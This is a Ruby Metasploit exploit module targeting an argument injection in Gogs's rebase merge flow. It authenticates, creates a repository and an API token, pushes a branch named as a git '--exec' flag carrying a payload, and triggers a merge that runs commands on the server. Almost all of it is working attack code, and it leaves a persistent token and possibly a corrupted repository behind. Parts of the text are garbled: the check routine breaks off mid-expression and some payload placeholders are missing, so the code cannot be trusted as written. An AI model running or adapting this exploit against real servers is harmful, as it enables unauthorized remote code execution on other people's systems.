# frozen_string_literal: true ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Gogs Git Rebase Argument Injection RCE', 'Description' => %q{ This module exploits an argument injection vulnerability (CVE-2026-52806) in the pull request merge flow of Gogs (< 0.14.3). The Merge() function in internal/database/pull.go passes the PR base branch name to `git rebase` without a `--` separator. A branch named `--exec=` is parsed by Git as the --exec flag rather than a positional argument, causing `sh -c ` to run after each replayed commit during the rebase. Two exploitation methods are supported: - own_repo: The attacker creates a temporary repository, enables rebase merge, and operates entirely within their own account. Any authenticated user who can create repositories (the default) can exploit this with no interaction from other users required. - existing_repo: The attacker exploits a repository they already have write and merge access to, where "Rebase before merging" is enabled (or the attacker has repo admin permissions to enable it). This path is useful on instances where repository creation is restricted. Both methods use git to push divergent branches (including the malicious --exec= branch), open a pull request, and trigger a rebase merge to execute the payload. A local git installation is required. On Unix targets, the payload is base64-encoded inline in the malicious branch name, avoiding the need to commit files to the repository. On Windows targets, the payload is delivered via a script file committed to the repository, since NTFS forbids pipe characters in filenames. Git for Windows uses MSYS2 sh for --exec commands, enabling cross-platform exploitation. Note: a successful rebase merge may leave the server-side repository in a corrupted git state (mid-rebase). For own_repo this is inconsequential because the repository is deleted. For existing_repo this can break the target repository and prevent re-exploitation against the same repo. The Gogs API does not support token deletion, so the API access token created during exploitation cannot be removed automatically and will persist under the attacker account. }, 'Author' => [ 'Crypto-Cat', # Vulnerability discovery and Metasploit module ], 'References' => [ ['CVE', '2026-52806'], ['GHSA', 'qf6p-p7ww-cwr9', 'gogs/gogs'], ['URL', 'https://www.rapid7.com/blog/post/ve-authenticated-rce-via-argument-injection-gogs-unfixed'], ['URL', 'https://github.com/gogs/gogs'], ], 'DisclosureDate' => '2026-03-17', 'License' => MSF_LICENSE, 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => ['linux', 'unix'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'FETCH_COMMAND' => 'WGET', 'FETCH_WRITABLE_DIR' => '/tmp/' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' } } ] ], 'DefaultOptions' => { 'RPORT' => 3000, 'WfsDelay' => 30 }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS], # Not REPEATABLE_SESSION: existing_repo can corrupt the target # repo's git state (mid-rebase), preventing re-exploitation. 'Reliability' => [] } ) ) register_options([ OptString.new('USERNAME', [true, 'Gogs username', nil]), OptString.new('PASSWORD', [true, 'Gogs password', nil]), OptEnum.new('EXPLOIT_METHOD', [ true, 'Exploit method: own_repo creates a temporary repo, existing_repo targets a repo the attacker has write access to', 'own_repo', ['own_repo', 'existing_repo'] ]), OptString.new('REPO_OWNER', [false, 'Owner of the target repository (required for existing_repo)', nil], conditions: %w[EXPLOIT_METHOD == existing_repo]), OptString.new('REPO_NAME', [false, 'Name of the target repository (required for existing_repo)', nil], conditions: %w[EXPLOIT_METHOD == existing_repo]), OptBool.new('ENABLE_REBASE', [ true, 'Enable rebase merge in repository settings (existing_repo requires repo admin access)', true ]), ]) @need_cleanup = false end # Maps CSS/JS commit hashes to Gogs release versions for fingerprinting. # The hash appears in the ?v= parameter of static asset URLs on unauthenticated pages. COMMIT_TO_VERSION = { '3ba8aca90e17e5410b7e8b227c9f29256ac3e875' => '0.14.3', '5dcb6c64bdf61e38dbdbb941c1d69789c560d0fb' => '0.14.2', 'f5c8030c1fd936f3e0e9f774e3c7c39fd102f56f' => '0.14.1', '36c26c4ccc3ca0339db53eb1fa41e4e86b55163d' => '0.14.0', 'd958a47a0e9d8747e399c687fdb3ec64a3b1a736' => '0.13.4', '5084b4a9b77a506f5e287e82e945e1c6882b827a' => '0.13.3', '593c7b6db601c68d16b2fb9a7e1194cb816f5efb' => '0.13.2', '0c40e600a275d490481cfeea53705810fbe94d9b' => '0.13.1', '8c21874c00b6100d46b662f65baeb40647442f42' => '0.13.0', 'c9fba3cb30af0789fcf89098dfcb8f2286ee7d3b' => '0.12.11', '1ce5171ae170750298c150874e718740dd7ef69f' => '0.12.10', '012a1ba19ed2f8f5185be4254f655ba6c4b34db2' => '0.12.9', '7f8799c01f264eb7770766621fb68debee414b68' => '0.12.8', 'd06ba7e527fcc462aecdb660ce001e87d94f024c' => '0.12.7', '26395294bdef382b577fd60234e5bb14f4090cc8' => '0.12.6' }.freeze def own_repo? datastore['EXPLOIT_METHOD'] == 'own_repo' end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) return CheckCode::Unknown('Target did not respond.') unless res unless res.body.to_s.match(/ 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'v1') ) fail_with(Failure::Unreachable, 'Gogs API not responding') unless preflight res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'users', datastore['USERNAME'], 'tokens'), 'ctype' => 'application/json', 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'data' => { name: "msf_#{Rex::Text.rand_text_alpha_lower(8)}" }.to_json ) fail_with(Failure::UnexpectedReply, "API token creation failed (HTTP #{res&.code})") unless res&.code == 201 @api_token = res.get_json_document['sha1'] vprint_good("API token: #{@api_token}") end # --------------------------------------------------------------- # Repository setup # --------------------------------------------------------------- def create_repo res = api_request( 'POST', '/api/v1/user/repos', { name: @repo_name, private: true, default_branch: 'master' }.to_json ) fail_with(Failure::UnexpectedReply, "Repo creation failed: #{res&.code}") unless res&.code == 201 end def enable_rebase_merge res = http_post_request( "/#{@repo_path}/settings", action: 'advanced', enable_pulls: 'on', pulls_allow_rebase: 'on' ) fail_with(Failure::Unreachable, 'Settings page unreachable') unless res fail_with(Failure::UnexpectedReply, 'Failed to enable rebase merge') unless [200, 302].include?(res.code) end def validate_existing_repo res = api_request('GET', "/api/v1/repos/#{@repo_path}") fail_with(Failure::BadConfig, "Repository #{@repo_path} not found or not accessible") unless res&.code == 200 repo_info = res.get_json_document db = repo_info['default_branch'].to_s @default_branch = db.empty? ? 'master' : db vprint_status("Default branch: #{@default_branch}") print_good("Repository #{@repo_path} confirmed accessible") end def try_enable_rebase print_status('Attempting to enable rebase merge in repository settings') settings_uri = normalize_uri(target_uri.path, @repo_path, 'settings') res = send_request_cgi( 'method' => 'GET', 'uri' => settings_uri, 'keep_cookies' => true ) unless res && res.code == 200 print_warning('Could not access repository settings (may require repo admin). Ensure rebase merge is already enabled.') return end doc = res.get_html_document csrf = doc.at_xpath("//input[@name='_csrf']/@value")&.text unless csrf print_warning('Could not extract CSRF from settings page. Ensure rebase merge is already enabled.') return end res = send_request_cgi( 'method' => 'POST', 'uri' => settings_uri, 'keep_cookies' => true, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { '_csrf' => csrf, 'action' => 'advanced', 'enable_pulls' => 'on', 'pulls_allow_rebase' => 'on' } ) if res && [200, 302].include?(res.code) print_good('Rebase merge enabled') else print_warning('Could not enable rebase merge. Ensure it is already enabled.') end end # --------------------------------------------------------------- # Branch setup via local git # --------------------------------------------------------------- def setup_branches_via_git @tmpdir = Dir.mktmpdir('msf_gogs_') workdir = File.join(@tmpdir, 'work') clone_url = build_clone_url if own_repo? run_git!(['init', workdir]) run_git!(['remote', 'add', 'origin', clone_url], workdir) else run_git!(['clone', clone_url, workdir]) end run_git!(['config', 'user.email', Faker::Internet.email], workdir) run_git!(['config', 'user.name', Faker::Internet.username], workdir) if own_repo? File.write(File.join(workdir, 'README.md'), "# #{@repo_name}\n") run_git!(['add', '.'], workdir) run_git!(['commit', '-m', 'init'], workdir) run_git!(['push', '-u', 'origin', 'master'], workdir) end @feature_branch = "feature-#{Rex::Text.rand_text_alpha_lower(6)}" run_git!(['checkout', '-b', @feature_branch], workdir) File.write(File.join(workdir, 'feature.txt'), Rex::Text.rand_text_alpha(8)) run_git!(['add', '.'], workdir) run_git!(['commit', '-m', 'feature'], workdir) run_git!(['push', 'origin', @feature_branch], workdir) # Create a divergent commit to force a rebase. For existing_repo, use # the repo's default branch. Never push directly to the base branch. base_branch = own_repo? ? 'master' : (@default_branch || 'master') run_git!(['checkout', base_branch], workdir) File.write(File.join(workdir, 'diverge.txt'), Rex::Text.rand_text_alpha(8)) # Write payload script files for Windows targets. Linux uses # base64-encoded payload inline in the branch name instead. if @bat_file # sh wrapper -> cmd.exe -> .bat (//c prevents MSYS2 path conversion) File.write(File.join(workdir, @payload_file), "cmd.exe //c #{@bat_file} /dev/null 2>&1 &\n") File.write(File.join(workdir, @bat_file), @payload_content + "\n") end run_git!(['add', '.'], workdir) run_git!(['commit', '-m', 'diverge'], workdir) # Push malicious branch via refspec (bypasses checkout -b validation). # Don't push to the base branch itself (especially for existing_repo). run_git!(['push', 'origin', "HEAD:refs/heads/#{@malicious_branch}"], workdir) vprint_good("Malicious branch: #{@malicious_branch}") vprint_good("Feature branch: #{@feature_branch}") end def build_clone_url user_enc = Rex::Text.uri_encode(datastore['USERNAME']) pass_enc = Rex::Text.uri_encode(datastore['PASSWORD']) scheme = datastore['SSL'] ? 'https' : 'http' authority = Rex::Socket.to_authority(rhost, rport) "#{scheme}://#{user_enc}:#{pass_enc}@#{authority}#{normalize_uri(target_uri.path, @repo_path)}.git" end def git_available? _out, _err, status = Open3.capture3('git', '--version') status.success? rescue Errno::ENOENT false end def run_git!(args, cwd = nil) env = { 'GIT_TERMINAL_PROMPT' => '0' } opts = {} opts[:chdir] = cwd if cwd stdout, stderr, status = Open3.capture3(env, 'git', *args, **opts) unless status.success? fail_with(Failure::Unknown, "Git #{args.first} failed: #{stderr.strip}") end stdout end # Non-fatal variant for cleanup operations where failure is acceptable def run_git_safe(args, cwd = nil) env = { 'GIT_TERMINAL_PROMPT' => '0' } opts = {} opts[:chdir] = cwd if cwd _stdout, stderr, status = Open3.capture3(env, 'git', *args, **opts) unless status.success? vprint_warning("Git #{args.first} failed: #{stderr.strip}") return false end true rescue StandardError => e vprint_warning("Git #{args.first} error: #{e.message}") false end # --------------------------------------------------------------- # Pull request and merge # --------------------------------------------------------------- def create_pull_request encoded_branch = Rex::Text.uri_encode(@malicious_branch) compare_uri = "/#{@repo_path}/compare/#{encoded_branch}...#{@feature_branch}" res = http_post_request( compare_uri, title: Rex::Text.rand_text_alpha(6), content: '', assignee_id: '0', milestone_id: '0' ) fail_with(Failure::Unreachable, 'Compare page unreachable') unless res if [302, 303].include?(res.code) location = res.headers['Location'].to_s pr_num = location.chomp('/').split('/').last return pr_num if pr_num =~ /^\d+$/ end # Fallback: find PR via API res = api_request('GET', "/api/v1/repos/#{@repo_path}/pulls?state=open") if res&.code == 200 pulls = res.get_json_document return pulls.last['number'].to_s unless pulls.empty? end fail_with(Failure::UnexpectedReply, 'PR creation failed') end def trigger_rebase_merge merge_uri = "/#{@repo_path}/pulls/#{@pr_number}/merge" pr_uri = "/#{@repo_path}/pulls/#{@pr_number}" res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, pr_uri), 'keep_cookies' => true ) csrf = extract_csrf(res) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, merge_uri), 'keep_cookies' => true, 'ctype' => 'application/x-www-form-urlencoded', 'vars_get' => { 'merge_style' => 'rebase_before_merging' }, 'vars_post' => { '_csrf' => csrf, 'commit_description' => '' } }, 5) # May return 500 (expected on exec), 302 (merged), or timeout (blocking shell) # Reset connection pool since the merge POST may have timed out disconnect end # --------------------------------------------------------------- # HTTP helpers # --------------------------------------------------------------- def api_request(method, uri, body = nil) opts = { 'method' => method, 'uri' => normalize_uri(target_uri.path, uri), 'headers' => { 'Authorization' => "token #{@api_token}" } } if body opts['ctype'] = 'application/json' opts['data'] = body end send_request_cgi(opts) end def http_post_request(uri, opts = {}) full_uri = normalize_uri(target_uri.path, uri) csrf = get_csrf(full_uri) post_data = { _csrf: csrf }.merge(opts) send_request_cgi( 'method' => 'POST', 'uri' => full_uri, 'ctype' => 'application/x-www-form-urlencoded', 'keep_cookies' => true, 'vars_post' => post_data ) end def get_csrf(uri) res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'keep_cookies' => true ) fail_with(Failure::Unreachable, "Unable to reach #{uri}") unless res extract_csrf(res) end def extract_csrf(res) fail_with(Failure::Unreachable, 'No response to extract CSRF from') unless res doc = res.get_html_document csrf = doc.at_xpath("//input[@name='_csrf']/@value")&.text fail_with(Failure::NotFound, 'CSRF token not found in response') if csrf.blank? csrf end def basic_auth(user, pass) "Basic #{Rex::Text.encode_base64("#{user}:#{pass}")}" end # Returns a service object for linking to report_vuln. # Builds the full layered service hierarchy: gogs -> [ssl ->] http -> tcp def report_gogs_service(info) base_opts = { host: rhost, port: rport, proto: 'tcp' } gogs_srv = base_opts.merge(name: 'gogs', info: info) http_srv = base_opts.merge(name: 'http', parents: base_opts.merge(name: 'tcp')) gogs_srv[:parents] = datastore['SSL'] ? base_opts.merge(name: 'ssl', parents: http_srv) : http_srv report_service(gogs_srv) end # --------------------------------------------------------------- # Cleanup # --------------------------------------------------------------- def cleanup super if @need_cleanup if own_repo? cleanup_own_repo else cleanup_existing_repo end end # Clean up local temp directory AFTER remote cleanup (existing_repo # branch deletion uses the local git workdir for push operations) if @tmpdir && File.directory?(@tmpdir) FileUtils.rm_rf(@tmpdir) vprint_status('Local temp directory cleaned up') end # Gogs API has no token deletion endpoint, so warn the user if @api_token print_warning('API token "msf_*" persists on the target (Gogs API does not support token deletion)') end end def cleanup_own_repo print_status("Cleaning up - deleting repository #{@repo_name}") send_request_cgi( 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, '/api/v1/repos/', @repo_path), 'headers' => { 'Authorization' => "token #{@api_token}" } ) verify = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/api/v1/repos/', @repo_path), 'headers' => { 'Authorization' => "token #{@api_token}" } ) if verify&.code == 404 print_good("Repository #{@repo_name} deleted") elsif verify.nil? print_warning("Could not confirm deletion. Delete #{@repo_path} manually if it still exists.") else print_warning("Repository may still exist. Delete #{@repo_path} manually.") end rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e print_warning("Cleanup failed: #{e.message}. Delete #{@repo_path} manually.") end def cleanup_existing_repo print_status("Cleaning up artifacts from #{@repo_path}") delete_remote_branches close_pull_request rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e print_warning("Cleanup failed: #{e.message}") print_warning("Manually delete branches and close PR ##{@pr_number} in #{@repo_path}") end def delete_remote_branches workdir = @tmpdir ? File.join(@tmpdir, 'work') : nil return unless workdir && File.directory?(workdir) if @malicious_branch vprint_status("Deleting malicious branch from #{@repo_path}") if run_git_safe(['push', 'origin', '--delete', "refs/heads/#{@malicious_branch}"], workdir) print_good('Malicious branch deleted') else print_warning("Could not delete malicious branch. Delete it manually from #{@repo_path}") end end if @feature_branch vprint_status("Deleting feature branch from #{@repo_path}") if run_git_safe(['push', 'origin', '--delete', @feature_branch], workdir) print_good('Feature branch deleted') else print_warning("Could not delete feature branch \"#{@feature_branch}\" from #{@repo_path}") end end end def close_pull_request return unless @pr_number # GET the PR page for CSRF (must use /pulls/ path; /issues/ redirects) pr_page = normalize_uri(target_uri.path, @repo_path, 'pulls', @pr_number) res = send_request_cgi( 'method' => 'GET', 'uri' => pr_page, 'keep_cookies' => true ) unless res print_warning("Could not load PR page to close PR ##{@pr_number}") return end # Extract CSRF without fail_with (cleanup must not abort) doc = res.get_html_document csrf = doc.at_xpath("//input[@name='_csrf']/@value")&.text unless csrf print_warning("Could not find CSRF token to close PR ##{@pr_number}") return end comment_uri = normalize_uri(target_uri.path, @repo_path, 'issues', @pr_number, 'comments') res = send_request_cgi( 'method' => 'POST', 'uri' => comment_uri, 'keep_cookies' => true, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { '_csrf' => csrf, 'status' => 'close', 'content' => '' } ) if res && [200, 302].include?(res.code) print_good("PR ##{@pr_number} closed") else print_warning("Could not close PR ##{@pr_number}. Close it manually in #{@repo_path}") end rescue StandardError => e print_warning("Failed to close PR: #{e.message}") end end